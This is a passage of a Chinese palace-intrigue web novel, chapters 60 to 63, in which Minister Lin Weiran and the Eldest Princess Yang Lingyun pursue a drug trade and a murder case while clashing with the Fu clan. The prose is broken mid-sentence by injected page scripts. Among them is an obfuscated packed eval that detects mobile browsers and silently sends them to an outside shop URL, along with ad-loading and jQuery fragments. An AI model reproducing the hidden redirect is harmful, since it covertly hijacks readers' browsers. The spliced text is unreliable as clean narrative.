林魏然的动作果然停住了片刻,傅长脸上露出喜色,又放软了口吻:“林尚书,都是一家人何至于此。我也告诉你这寒食哪来的了,你抓到了那宗主也能交差,何必咄咄逼人不是?” 始终在一边沉默的杨灵允终于出声了—— 她很轻地笑了一声,忽如其来的笑声在沉寂的刑讯堂内显得格外不合时宜,甚至多些渗人的意味。 傅长忽然觉得一股浓重的寒意涌上心头,他怔怔地看着那个带面纱的黑色身影走进来,声音不知为何忽然变得生涩—— “你,你是谁?” 杨灵允站在他身前,拿过林魏然手中离他脖颈只剩半指的匕首,随手扔了出去—— “哐当”—— 声音不大,却震得傅长浑身一颤。 “我是谁不重要,”杨灵允平静地开了口,“重要的是,长公主前些日子因为寒食受了罪,心情很不好,特令我来此督察刑部,看看朝中到底有哪些人胆敢违背禁令,以致寒食在长安坊市流传。” “你说,”杨灵允弯腰,凤眼扬起不达眼底的弧度,“长公主盛怒之下,会在乎你一个傅氏旁支的命?” 傅长猛然想起某些京中传闻——天家之人,都有一双凌厉上扬的凤眼。 “你,你是……长公主身边的人?” 杨灵允又轻笑出声,“我是谁不重要。重要的是,你今日就算死在这里,傅影都不会为你说半句话。 在看到傅长渐渐开始发颤的嘴唇,她起身拍了拍手,转头看林魏然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728573|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“罢了,要是还不说,就把他的脑袋拿去平息公主殿下的怒火吧。” 这是压倒傅长心理防线的最后一根稻草——比起供出上面人可能遭到的贬职罢官,他更怕今日悄无声息地死在这间刑讯堂内。 他几乎扯着嗓子大喊:“还有王文辅、傅令珏!” 吏部侍郎傅令珏,两朝元老之一,在杨灵允的三波清算中仍安然无恙地稳坐吏部。 林魏然神色微变——据郑虔去年的奏折所言,寒食这种东西,服用得越久,越离不开它,需求量也越大,以致服用者最后都是倾家荡产地去购买寒食。 若连傅令珏这种高官都染上了寒食——那底下究竟还藏着多少染上寒食的官员? 傅长一口气交代完了,喘着粗气,“我,我知道的都交代了……真的全都交代了!” 见林魏然神色凝重,傅长努力平静呼吸,又连忙提醒道:“林尚书,傅令珏是傅影之子,傅家嫡系,长公主的亲舅舅。你做事前……也得掂量掂量吧。” 林魏然闻言从盘算中回过神,淡淡道:“你这是怕我抓了傅令珏,牵连到你吧?” 这话怼得傅影一时无言。他僵了片刻,才道:“林尚书,我知道你要政绩,王文辅是个毛头小子,抓也就抓了,傅令珏可不一样,闹到最后撕破脸也不好看不是?” 他说着又小心翼翼地瞥了眼站在一边的杨灵允,冲林魏然挤眉示意。 林魏然懒得再看他的暗示,不耐地挥挥手,抬高声音让人进来把傅长带出去。 去年的禁令中并未对服用寒食的人有明确处置。傅长有官身,又与杨灵允遇刺一案无半分关系。若没有旁的理由,刑部顶多只能将人关一天。 “林尚书林尚书,”被带走前傅长还不忘扯着嗓子做最后一搏,“三思后行啊林尚书!” …… “就这样把他放了?”杨灵允看林魏然,有些遗憾,“让他多在这呆些日子,说不定能挖出傅令珏的事,把他给拉下来呢。” 林魏然眼瞳微晃,意外地抬眼看她:“傅侍郎……” 他话没说完,杨灵允懒懒地挥挥手,打断道,“我和傅氏的每一个人都没有关系。该抓抓,该判判,该杀杀。” 她落难的时候傅家人也没管过她死活,她又何必要管傅家人的死活?她唯一跟傅家有关的,就是四年前发起宫变的那场交易。 交易结束,两清了。 轻描淡写毫不在意的言语像是闷棍般狠狠敲在林魏然心上,忽如其来的绞痛从心底漫开,让他有片刻怔愣。 在短暂的失神间林魏然只剩一个念头——先帝、先后、傅氏……原来在一年前表哥离世后,宣和真的只剩一个人了。 他口口声声说着爱她,可每次宣和孤身一人的时候,他从未在她身边过—— 八年前太子第一次被贬,他离开长安去了雍州做官。四年前太子二次被贬幽禁,先皇后自缢,而他再次离开长安去了南州。 在最混乱的时候,他远离了朝堂上所有的刀光剑影,却留她一个人走过尸山血海。 “宣和……”他看着杨灵允的眼睛变得透彻,折射着对面一盏幽暗的灯火。 先前面对傅长时狠厉消失全无,林魏然的声音忽然变得很轻,眼角好像也被沁红了,“我不该离开,我不该走的……” ——“林尚书!” 几乎是同一时刻,急促的脚步声伴着匆匆的喊声从门外传来—— 王清安一把推开门,又敏锐地察觉刑讯堂内气氛压抑。 “林尚书?”他下意识放缓了声音,“发生何事了?傅长还是不肯交代吗?” 林魏然喉结剧烈地滚动了一下,狠狠阖了阖眼,才转头看他,声调已然平静:“没有,出什么事了?” “有个老太太带着一群人在刑部门口大闹着说有冤情,围了一圈百姓,谁都劝不住,一个劲地要见你。” 在王清安急切的话语中,林魏然的薄唇渐渐抿成一条线。他下意识地想伸手拉住杨灵允——但杨灵允站得远了些,他伸手拉不着。 不过,几乎在他伸手的同时,杨灵允抬脚走近,覆上林魏然捏紧的拳头,轻声笑了笑:“去吧。” 61. 第 61 章 刑部大门外聚集了一群看热闹的百姓。最中央的是一个满头华发的老太太,拄着拐杖。 林魏然一出来,刑部门口当值的拱手问好。 老太太虽然上了年纪,却还是耳聪目明,敲着拐杖缓慢地走过来。她应当家境不错。华发梳得整整齐齐,衣裳做工精细,连那根拐杖都是上好的木料打的。 老太太站在台阶下仰头看林魏然,直起有些佝偻的背,苍老的面孔上满是悲凉之色,声音沙哑又悲哀——“林尚书,长安县的官差跟成百万沆瀣一气,我孙子死得冤啊!” 周围百姓顿时议论纷纷。 林魏然快步下来,抬手想扶她:“老人家,您进来说话。” 老太太却拿拐杖敲开了他的手,转身抬高了声音:“我不进去,我今日就要在这给我孙儿讨个公道!林尚书,他们都说你是好人,你一定能还我孙儿一个公道对不对?” 议论声愈发得大,周遭百姓神色各异—— “这老太太可怜啊。” “林尚书肯定能还她一个公道。” “我看未必,人能收买长安县的官差,难道就不能收买这儿的官差?” “还什么都不知道呢,你们就认定了这老太太的冤情属实?” …… 林魏然耐着性子缓声劝道:“老人家,既然有冤情,您也得先告诉我们,我们才好替您做主啊。” 他好说歹说,总算先把人劝进了刑部坐下。没了热闹看,周围百姓也渐渐散去。 刑部偏厅内,老太太一口咬定是长安县那个姓傅的官差收了成老板的钱,才判了她孙子陈扶苏死刑。 其余案件细节,却什么都说不出来。 林魏然打发了人去长安县调卷宗,再把傅长给带回来,自己也去刑部的案卷室找卷宗。 这种案子虽然都由当地县衙处理,但死刑的批文需得大理寺及刑部的印章,林魏然并不记得自己什么时候批过一个叫陈扶苏的二十来岁男子的死刑。 难道是大理寺批了就直接送回长安县县衙? 按照老太太说的死刑时间,林魏然找了一圈也没找到卷宗。 与此同时,看守案卷室的老人颤巍巍地过来问林魏然在找。 在得知林魏然要陈扶苏的卷宗后,老人嘶哑着嗓音道——“别找啦林尚书,陈家小儿的那死刑批文就没送到刑部过。” 林魏然神色微沉,“陈老,您……知道这个案子?” 陈老摆摆手,长叹一声:“老朽只与陈家小子打过交道,我与他也算有些血缘关系。他走的时候,我还去送了送他。他……” 提及陈扶苏,陈老忽然顿了片刻,才哑声继续道:“他读书不行,做生意倒是一把好手。听说他那个妹妹,陈荷华,读书倒是不错。” “只是,可惜了啊……”陈老神色变得恍惚,声音也渐渐低沉下来,敲着拐杖又慢慢走远了。 陈老年轻时也是刑部的一把好手,终身未娶,年纪大了之后便有些浑浑噩噩的毛病。刑部念着他这些年劳苦功高,便让他留在刑部管个案卷室养老。 自此之后,陈老仿佛就把案卷室当家了一样。 林魏然看着他佝偻走远的身影,叹口气也没追过去刨根问底,轻轻关上案卷室的门。 也就在他走出的时候,杨灵允也从偏厅出来,神色中颇有怀疑:“那老太太一句话翻来覆去说三遍,避重就轻,有闹事之嫌。” 林魏然掐了掐眉心,打起精神来:“既然都找上门了,总得问个清楚。” “行吧,”杨灵允耸耸肩,“不过从那老太太话中的意思好像是觉得当今新上任的刑部尚书温和好说话,所以才找上了刑部。不然这种纠纷,顶多到大理寺,她喊冤也该去大理寺。” 说着,她又促狭地看他一眼,挪揄道:“好名远扬啊林尚书。” 林魏然无奈地笑了声,“哪是什么好名,连凶犯都敢跟我蹬鼻子上脸了。” “因为你太手软,”杨灵允一针见血,“对旁人手软,就是给自己挖坑埋。” 林魏然沉默片刻,还是坚持:“官员本身就已经掌握着足够的权力,若一遇嫌犯便是刑讯,会有很多人蒙冤。” 杨灵允闻言,咬唇笑了一声,没再说话。 从长安县调来的案卷和傅长也到了刑部。 二进宫的傅长显得有些茫然,但在听完林魏然的话后,陡然瞪大了眼,一拍大腿喊冤:“我是与成百万关系不错,可那案子我真没徇私枉法啊!成百万之子成凌被陈扶苏一刀刺死,这可是众目睽睽之下啊!况且抓了陈扶苏之后,我还没审他直接就承认了,说是和成凌有仇,寻仇去的,大仇得报他死也甘心。” 傅长语速飞快地说了这么一通,林魏然翻了翻卷宗,也与傅长说的都对得上。 “陈扶苏和成凌有什么仇?” “陈扶苏有个亲妹妹,叫陈荷华。陈荷华曾与成凌订过亲,不过后来成家又退亲了,陈荷华也不知想不开还是怎么的,直接投河自尽了。陈扶苏是替妹妹报仇。” 杨灵允扫了眼卷宗,又问道:“成家为何退亲?” 傅长没想到这长公主的人还在林魏然身边,还关心起了这种小案子,下意识看林魏然想求助一下。 林魏然细微地摆摆手,他才开口:“本来吧,这两家订亲就是陈家高攀了。成凌本就是个浪荡子,后来又看上了别家姑娘,所以就退亲了。” 傅长满脸无奈:“成凌这事做的确实不地道,但陈扶苏是当真杀了人,证据口供齐全,我总不能不按律法判吧?” 在这件案子上,他确实没错判。 但死刑批文一事上…… 林魏然看了看死刑批文上的大理寺印章,合上卷宗看他,面无表情道:“死刑批文需得有大理寺及刑部印章,你这批文却只有大理寺的。这其中与成百万的银子无关?” 傅长顿时神色一僵,在林魏然沉下的脸色中吞吞吐吐地交代了:“这,这也是成百万痛失爱子,急于惩治凶手缘故。况且那段时间刑部都在忙三王余党的案子……我就……” 一声脆响打断了他半遮半掩的交代—— 林魏然“啪”地将案卷扔回桌上。 他仿佛有些不耐烦,懒得继续听下去了,淡淡道:“行了,你回去吧,这边没事了。” 傅长脸上闪过一丝意外,没想到林魏然这回这么快就放过他了。但能早远离这种是非之地总是好的,于是他便连声道谢高高兴兴地离开了。 杨灵允看着傅长轻快离开的背影,忍不住笑了一声,“有人要倒霉了还不自知。” “受贿是一方面,不过这案子他确实判得没问题,”说着,杨灵允又翻开卷宗看了眼,“那老太太大约就是来闹事的,也不知道背后是不是有人指使。” “未必如此,”林魏然脸色凝重,屈指敲了敲案卷中的某一行,“案卷所言,陈扶苏交代,成家退亲是在去年二月,而陈荷华投河自尽是在去年六月。” “这两件事时隔小半年,我总觉得有什么不对劲。” “你怀疑陈荷华的死另有隐情?”杨灵允质疑道,“可案卷上写得明明白白,陈荷华自尽那日,成凌在吃花酒,可有不少人证。” “案卷只能记录人想说的话,”林魏然拧着眉头,“我想去长安县看看。张黎交代了,给他寒食让他售卖的就是成百万,我怀疑这二者之间有些联系。” 杨 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 灵允轻笑出声,“你可真是会给自己找事做啊,容时哥哥。” 林魏然看她,眼底落着日光:“要一起去吗?” 这一次,杨灵允拒绝了—— “我有些事要回公主府一趟,”她笑着拍开了林魏然伸出的右手,戏谑道,“自己努力干吧,林尚书。” 林魏然应了一声,又问道:“那你今夜,回家吗?” 杨灵允嘴角浮上更浓重的笑意:“容时哥哥,你最近说话当真是肆无忌惮。” 林魏然眼底弯起一抹笑意,看着她,等她的回答。 但最终杨灵允也没给一个具体的回答,扬扬手模糊说了句来得及就回来,便很快消失在刑部门口了。 林魏然看着她背影消失,缓慢垂了眼睛,重重地吐出一口气,才带着人去了长安县。 在长安县的暗访中,他意外得知了一个消息——在陈荷华自尽的前一段时间,陈家常有争吵。 据说,陈老太太曾当众说过——陈荷华不如去死算了。甚至还当众打过陈荷华。 “陈扶苏有说过什么吗?” 一户邻居摇摇头:“陈家那点家业全靠扶苏一个人撑着。他忙得很,自然顾不上家里。” 但再问陈家具体事宜,邻居便摆摆手表示不清楚,但提供了另一个人—— 陈家兄妹的姑姑陈望楠,听说嫁到一个乡下人家去了,在长安县之外。 王清安快步跟着林魏然往长安县外走,怀疑道:“林尚书,这样看,那陈老太太当真像来闹事,咱们是不是该提防着点?” “你觉得陈扶苏与陈荷华关系如何?” 王清安思索片刻:“陈扶苏为了陈荷华都能杀人,关系应当不错吧?” “关系不错,”林魏然点点头,“那又怎么会放任陈老太太这样骂陈荷华?连邻居都能知道的事,陈扶苏不可能不知道。” 王清安猜测,“许是长辈,不好忤逆?” “陈家兄妹的父母早亡,陈扶苏能一人撑起整个陈家,至少不能是个懦弱之人。就算不好忤逆自己的祖母,也不至放任自己的亲妹妹成日被打骂。” 林魏然加快了步伐,推测道:“陈家还藏着事。这个事或许与陈荷华死亡有关。” 与此同时,长公主府。 正堂之内,杨言沉声禀报——“王文辅最近与御史台的人走得很近。” 杨灵允敲了敲紫檀木桌,微微眯眼:“郑家呢?” “郑小姐近日与林太傅的一个族妹走得很近,郑将军除了上朝下朝便是与同僚喝酒,没什么异样,与王文辅并无往来。” “没有往来……”杨灵允低声喃喃着,“难道不是郑虔?” “闻九呢?他最近如何?” 杨言缓声道:“闻大人如今在右金吾卫中颇有威望。” 闻言,杨灵允细微地皱了皱眉:“你回宫去把安之和带来公主府。别惊动了人。” “安之和?”杨言怔了片刻才想起此人是谁,“那位安尚仪?上一任金吾卫大将军之女?” 杨灵允点点头,又补充了一句:“还有,继续盯着郑虔。” “是,”杨言低声应下,见杨灵允话已经说完了,才斟酌着开了口,“公主,傅令珏傅侍郎近日多次上门拜访公主府,说想给公主请安。” “不见,”杨灵允轻嗤一声,“管他去死?” 说着,她微微直起身子,抬眸看杨言,似笑非笑,“杨言,整个公主府的大权都在你手上,你要替本宫守好这个公主府,别让本宫失望啊。” 杨言眼底一震,咽了口唾沫沉声应下。 “好了,去把安之和带来吧,“杨灵允又靠回椅子上,阖上了眼。 62. 第 62 章 长安县五里外,林魏然与王清安终于找到了陈望楠的家。 如今正是农忙的时节,陈望楠的男人去了地里干活,家中只有陈望楠坐在外边织布,两个女孩在附近嬉闹。 见林魏然和王清安走近,陈望楠神色变得警惕,唤回了两个女孩护在身后。 林魏然笑着表明了来意,陈望楠一听是陈家的事便摆摆手说不知道,当即便下了逐客令:“两位上官请回吧。” 王清安还想说什么,林魏然一把拽住他,笑着道了声失礼,便离开了。 “林尚书?”王清安不解,“就不问了吗?” 林魏然带着他走远了些,才微微眯眼看了看日头,“不着急,再等一等。” 等日头渐渐西斜,天边布满夕阳时,一个五大三粗的汉子从出现在道路尽头,走过紧挨着的好几户人家,直直往最后一户——陈望楠的家中去。 见陈望楠已经与那汉子交谈几句,准备进屋时,林魏然再次带着王清安现身了。 在汉子警惕的脸色和陈望楠忽变难看的脸色中,林魏然微笑地拱了拱手:“陈夫人,在下林魏然,陈家兄妹涉嫌……” 话还没说完,陈望楠身边的男人神色忽变,眼睛骤亮,惊喜地开口道:“林魏然,林参军?” 林魏然准备好的一番话统统被这汉子的一嗓子喊得梗在喉咙,他顿了片刻,才犹豫道:“您是……?” 话没说完,汉子已经热切地上前想握住林魏然的手,只是在最后一刻似乎又意识到自己的手脏,转而在衣裳下摆上擦了好几下—— 口吻仍是热切:“是我啊赵武。当年在雍州,要不是林参军仗义执言,那司马真的要给我动大刑了。” 说着他擦干净了手,又憨笑着挠挠自己脑袋:“我怕是都没有今日了呢。” 林魏然终于想起来——是好几年前他初到雍州时处理的一桩杀人案。这赵武原与被害者有仇,当时的司马便认定了是他杀的,急于结案,准备直接屈打成招得到口供。 他觉得此案还有不少疑点,所以在司马面前据理力争立了三日军令状,破了此案,总算抓到了真正的凶犯。 赵武说着,又对陈望楠笑了下,“楠楠,这是我的救命恩人。” 陈望楠不耐抿起的嘴角又松了下来,脸上勉强挂上些笑意,福了福身:“林参军。” 林魏然摆摆手,“救命恩人谈不上,当年也只是尽我之职责罢了。” “林参军此次来是有什么事么?”赵武又问道。 林魏然脸上滑过几分犹豫之色——他本是想等陈望楠一家都来齐了,以陈家兄妹涉嫌重案为由,让陈望楠开口。但赵武这忽如其来的热情弄得他一时不知道如何开口。 而另一边的陈望楠看见赵武见到林魏然后喜出望外的神色,五指用力地捏成拳后又缓缓松开,轻轻阖了阖眼,“两位上官,又是来问陈家的事吧?” 林魏然与王清安对视一眼,没想到陈望楠这次这么轻易地开口了。 但“陈家”二字似乎是这家什么不可提的忌讳。 赵武粗犷的脸上极快滑过几分忧虑,皱眉想说什么。陈望楠便冲他微微笑了下,安抚地拍了拍他的手臂,又对林魏然和王清安做了个请进的手势,轻声道—— “两位上官,里面说话吧。” …… 屋子不大,却充满温馨的痕迹,赵武给三人倒了水,又带着两个孩子守在门外。陈望楠坐在椅子上,神色有些疲惫厌倦,“我已经很久没回过陈家了,两位上官想知道的我未必知道。” “陈家街坊说,陈家兄妹还活着的时候,你常回陈家探望。”王清安先开了口,“但自从陈扶苏被判死刑后,你就再没回过陈家了?” “是,”陈望楠点点头,“我弟弟弟媳走得早,扶苏荷华自小没了爹娘,我多照应照应也没什么问题吧?” “那你母亲呢?”林魏然忽然开口,“陈家兄妹死了之后,你母亲孤身一人,不是更缺人照顾吗?” 陈望楠从喉咙中挤出一声短促的笑,仿佛讥诮,“她大约不想我这个女儿去照顾她。” 林魏然微微眯眼:“你与你母亲关系不好?” 陈望楠脸上还挂着近乎嘲讽的笑——“林参军,你听听我的名字,望楠望楠,你觉得我们关系能好吗?” “我没如她的愿嫁去哪个有钱人家,嫁给赵武后,她自然更不待见我了。” “但你与你弟弟应当关系不错,陈扶苏与陈荷华……”林魏然淡淡开口,微微眯了眯眼——陈望楠忽然变得微妙的神色。 那是一种爱恨夹杂的复杂,眼里还有片刻的虚焦失神。 ——“陈扶苏和陈荷华,就是第二个你和你弟弟,对吗?” 陈望楠阖上眼皮,过了好一会才轻声开口:“荷华比我聪明,也比我厉害。扶苏当家后,荷华去了书院读书,连夫子都说荷华才学出众,将来必有出息。” “可她却投河自尽了,”林魏然轻叹一声,惋惜道,“因为成家的退婚?” 陈望楠猛然睁眼,笃定地摇头否认了,“成家的婚事是我母亲给荷华定下的,扶苏荷华两人都不乐意,成家主动退婚他们应该是最高兴的。” “那陈荷华究竟为何而死?”王清安忍不住开口。 陈望楠沉沉地吐出一口气,“我也不知道。成家退婚后,我再去看荷华,她就跟变了一个人似的。瘦了很多,也不爱说话,成日就呆在家中,书院也不去了。” “我问过扶苏,扶苏说荷华是生病了,吃了药就会好。” “药?什么药?”林魏然神色微变,语气中染上细微的急迫。 但陈望楠并不知道,她只知道那段时间陈家的财政情况变得紧张,陈扶苏甚至还来向她借了五两银子。 再后来,她得知的就是扶苏当众刺杀成凌,被判死刑。 “扶苏死后,我回过陈家,”陈望楠手肘撑在桌上,扶着额头轻声道,“只是被她打了出来。她说‘都怪你们,陈家才会变成这样!’” “你们……”林魏然重复了一遍,指尖轻轻摩挲着,“陈扶苏去刺杀成凌前,可有与你说过什么?” 陈望楠想了想,“荷华去世几个月后,扶苏来找过我,还了我银子,那时他脸色有些不对劲,我就问他出什么事,那时他说——是他害死了荷华。” “大约是他后悔没好好照顾荷华,才让荷华有机会寻死。” …… 日薄西山之时,林魏然和王清安与陈望楠赵武告别。告别前,王清安纠结许久,还是道:“陈夫人,令堂还在我们刑部喊冤。陈家就剩她一个人……” 陈望楠神色厌倦,眼角的皱纹愈发明显,“扶苏留了足够的银子留给她养老。扶苏荷华走了,我也与陈家再无关系。” …… “这样看,这陈荷华很可能是被 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 陈老太太逼死的啊?”回城的路上,王清安脸色不太好看,“照陈望楠所说,陈老太太很可能本就对陈荷华有偏见,又加上成家退婚一事,便更不待见陈荷华。日久天长的,陈荷华受不了了投河自尽,也不是不可能。” “而后知后觉的陈扶苏不能怪罪自己的祖母,就只能把所有的恨转移到成凌身上。” 林魏然沉吟片刻:“你说得有理,只是还有一点——缺钱。” “?”王清安不解。 “陈望楠说成家退婚后,陈荷华就跟变了一个人一样。与此同时,陈家开始缺钱,甚至到了要想陈望楠这个生活并不算富足的姑姑借钱的地步。但陈荷华死后,陈家的财政情况又再次好了起来。你不觉得太巧了吗?” “不是说陈荷华生病了吗?”王清安思索着,“大病耗银子,也不是不可能。” “若真有大病,自然会四处寻医问药。”林魏然摇摇头,“可我们走访了这么多人,没一人提过陈家在寻医。” “那是为何?”王清安实在有些不明白。 林魏然脸色凝重地看了他一眼:“成百万手中有寒食,若成凌手中也有,而陈荷华因为成凌而染上了寒食呢?” 王清安陡然一震:“寒食价高,陈家因此缺钱便合情合理。而服用寒食的时间越久,便会越丧失人性,成为寒食的奴隶,只要有人给寒食就能满足。” 说着,他神色又变得怀疑。在刑部做久了,他习惯了将人性往最幽暗处想—— “若陈望楠口中的药当真是寒食,那便说明陈扶苏在倾家荡产地供着陈荷华。既然如此,陈荷华当真是自尽吗?” 暮色沉沉之际,两人快步往长安城中赶。与此同时,也有一个身影快步往公主府赶。 杨言回了宫,公主府的管事只得急匆匆去正堂找了杨灵允—— “公主,傅侍郎又来了。杨公公不在,我们实在拦不住了。” “打出去,”杨灵允撑着脑袋倚在交椅上,懒洋洋道,“我不见。” 只是她话音刚落,便传来男人咬牙的声音——“公主殿下当真该整顿一下公主府了。” 原来傅令珏带了一批打手,公主府的人没拦住,让他硬闯了进来,跟着管事的找到了杨灵允。 杨灵允掀了眼皮,看着傅令珏身后的一大波人,还有公主府的那些唯唯诺诺的下人,缓缓起身,“确实该整顿一下了,不然什么阿猫阿狗都给我放进来。” “你!”这么明显的指桑骂槐的话要是傅令珏还听不懂,就白活这么多年了。 但想到这里是公主府,他生生咽下怒火,沉声道,“公主,下官有要事禀报,只是杨公公始终拦着,下官无奈出此下策,还请公主见谅。” “我要是不见谅呢?”杨灵允没给傅令珏半分面子,淡淡道,“有事上奏。公主府不见外人。来人,送客!” “杨灵允!”眼见着公主府的人再次要动手,傅令珏恨得咬牙,不得不拿出杀手锏,“你是不是忘了当初是谁扶持你坐上这个位置的!” 形式急转直下,气氛陡然沉寂。公主府的下人诚惶诚恐地停了动作,和傅令珏身后的打手都齐齐低了头,恨不能原地消失。 杨灵允从正堂之中缓步往门口走,泛黄的日光渐渐爬上她的面孔,照得她五官愈发得秾丽,也愈发凌厉。 “你们先下去,”她扬扬手,语气平静得可怕“傅侍郎,进来说话。” 63. 第 63 章 两拨人都心惊胆战地退了出去,正堂的门再次被关上,屋内只剩杨灵允和傅令珏这一对舅甥。 傅令珏深吸一口气,平息了剧烈起伏的胸膛,已经爬上几道皱纹的脸上神色也和缓下来—— 他执手行礼:“公主恕罪,下官并非有意冒犯。” “你想要什么,”杨灵允站在正堂之中,紧闭的门窗将天光隔绝在外,屋内有些暗,她的声音仿佛也因此染了些暗色,“不必绕弯子,直说吧。” 傅令珏眉心忽跳,直觉告诉他杨灵允忽然变得这么好说话实在奇怪。但转念一想,傅氏毕竟是她的母家,傅氏出事,她必不能独善其身。 所以他便忽略了心底那股隐秘细微的不安,开口了:“林魏然在查寒食,如今已查得太深了,说不准马上就要查到我头上了。” 杨灵允无动于衷,“所以呢?” “姓林的不是个善茬啊!”傅令珏眉头紧锁,眉心的沟壑愈发得深,“要我说,你我联手,趁早把他赶出京城。留他在京中,迟早是个祸害。” “祸害?”杨灵允唇齿间滚过这两个字,像是觉得很有意思,笑了一声,“什么祸害?” “陛下年岁渐长,必要亲政,那便必会分掉你手中的权力,”傅令珏凑近了些,语重心长,“届时就算我们不动林魏然,他也必会向我们下手啊!” 杨灵允沉默片刻,才缓慢地开口了——“傅令珏,看来傅影的脑子你是没学到半点。” 在傅令珏骤然沉下的脸色中,杨灵允短促地笑了一声:“既然你没脑子,那我就再跟你说一遍——傅家,我不会管。我没有针对傅家,已经是仁慈再仁慈了。懂吗?” “你什么意思?”傅令珏只觉得杨灵允是不是搭错了哪根筋才这般不可理喻,抬高了嗓门怒道,“你以为郑虔靠得住吗?他就是一个外人!没了傅家,你以为你还能继续做你的长公主?你不被废太子留下的那些旧臣撕了才——” “不许叫他废太子,”杨灵允转着手腕上一串佛珠,声音森冷地打断了他的话,幽暗笼罩了她的脸庞,“谁都可以叫,就你们傅家人,不,可,以。” 气上心头,傅令珏也再没了顾及,冷笑开口,“你难道不是傅家人?公主殿下,别天真了。除了傅氏,没有人会站在你这边。你难不成还觉得,那些老臣会顾及着你与废太子的那点情谊,对你心慈手软吗?” 话未落地,整个屋内忽然爆出一声巨响—— “哐当——” 杨灵允冷着脸,扬手砸碎了紫檀木桌上的一尊花瓶。碎片飞溅,有几片细小的碎片划到了傅令珏的衣角,还有几片划到了杨灵允垂下的指尖。 她眼神已然变得阴寒,“我说了,不许叫他,废太子。” 傅令珏下意识咽了口唾沫,微不可察地后退几步,“你,你什么意思?我是你亲舅舅!你难道想对我动手不成?” “四年前,哥哥被废之际,别以为我不知道傅家也在其中搅混水,” 杨灵允手心不知何时攥了一块碎片,她垂眸摩挲着碎片光滑的表面,声音变得轻而寒,字字清晰地落在幽暗的房中—— “哥哥顾念着情谊,没有把傅家养寇自重的证据交上去,只是提醒了傅影。傅家却想把他往死路上逼。” 说着,她慢慢抬眼,凤眼之中是森森寒意:“纵然云家是哥哥被废的罪魁祸首,但傅家的推波助澜也难逃罪责。没有秋后算账,已经是我格外仁慈了。” “你……你,知道?”惊鄂之下傅令珏脱口而出,后退几步——云家的惨烈还历历在目,惊惧随着杨灵允的声音从他脊椎一路向上爬。 但他到底在官场上混了这么久,咽了口唾沫便极快地改口道:“我从未真心想害他,只是想让他把东西交给我而已!更何况,我只是顺着云厉稍稍逼了他一下,我并未害你。” “况且他就是个外人!”傅令珏又痛心疾首道,“你难道要为了一个异母的哥哥,背叛你的亲舅舅亲祖父吗?” 杨灵允抬手掷出手上的那块碎片。 转瞬之间,傅令珏只觉得眼下传来剧烈的刺痛——碎片划过他眼下,鲜血争先恐后地冒出来,带着一股难以忽略的铁锈味。 傅令珏瞪大了眼,难以置信地看着杨灵允,万没想到她会直接动手! 杨灵允面无表情:“你要这样说的话,四年前傅家意图转投安王时,考虑过我的死活吗?” “舅舅,”她嘴角弯起毫无笑意的弧度,声音愈发得轻,更透出其中的森森阴冷,“别天真的该是你。血缘这种东西,在我这里一文不值。” “可一年前宫变时,傅家支持的不还是你和他吗!?”傅令珏抬手捂着伤口,气急败坏地争辩,“做人不能忘恩负义,公主殿下。” “看来傅影没告诉你啊?”杨灵允从喉咙中挤出一声短促又讥诮的笑,“傅家当然得出兵帮我,不然傅家四年前那份养寇自重的证据可就要被公之于众了。” “傅家出兵帮我,我便当着傅家人的面毁了那份证据。两清的交易,你现在想拿这个出来要挟我吗?” 杨灵允又弯腰捡起一块碎片,缝隙透进来的一点稀薄天光借着碎片的反射,勾勒出她浓艳的眉眼。 那眉眼间满是深重的威压,她启唇又喊了声嘲讽之意甚重的称呼,“傅影都只敢缩在西北发信。你倒是勇气可嘉,敢直接跳到我面前来。” 傅令珏浑身一僵,再没有先前来时的气势汹汹,脚步近乎仓皇地离开了公主府。 他脸色难看地回了傅宅,想把今日之事发信给远在西北的傅影。只是刚刚踏入院门,管家便匆匆来报——“二小姐来了。” “令温?”傅令珏意外地微微拧眉,“她什么时候回长安了?” 傅影有二女一子,长女傅令柔便是杨灵允的生母,已逝的端贤皇太后。长子傅令珏,还有至今未出嫁,常居西北的次女傅令温。 “哥。”傅令温的声音从院子深处传来,眉眼英气身形利落的女子笑着看向傅令珏,唤了一声。 “你怎么来了?”傅令珏极快地收拾好脸色,脸上浮现出夹杂着担忧的欢喜。 “西北最近局势安稳,爹请奏了陛下让我回京修养一段时日。”傅令温笑吟吟道。 傅令珏抬手敲了敲她的脑袋,半教训半无奈:“我说你一个姑娘家的,早该回京找个好郎君。成日跟着西北军东跑西跑,又受伤了吧?我去请长安的郎中来给你看看。” 傅令温笑着按下了他:“不用麻烦,没什么大事。” 傅令珏上下打量着,确认她面色红润没什么大碍后,才略有放心:“那你就在我这住着吧,我还有些事得发信去告诉爹。” 傅令温眼底闪过暗色,继而放轻了声音问道:“长公主的事吗?” 傅令珏冷哼一声:“狼心狗肺的东西。”他下意识抚上了自己眼下已经止住血的那道伤痕,忽然觉得那处伤口又开始隐隐作痛。 傅令温拉住了傅令 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 珏,即将消散的天光打在她英气利落的眉眼间,长睫在她眼下落了一片阴影,无端多了些暗色。 “哥,你真觉得爹做得没错吗?”傅令温缓缓开了口,“四年前长姐自戕,爹为了避祸,整个西北百姓受了多少——” 她未完的话被傅令珏沉声打断——“令温。” 傅令珏的神色冷凝,双手握住傅令温的肩,严肃道:“此事决不能再提,更不能让长公主知道,懂吗?” 傅令温看着自己哥哥忽变的神色,喉咙微动,咽下了即将到嘴的“苦难”二字。 她又眨了眨眼,嘴角浮出一抹安抚的浅笑:“我知道的,哥。” 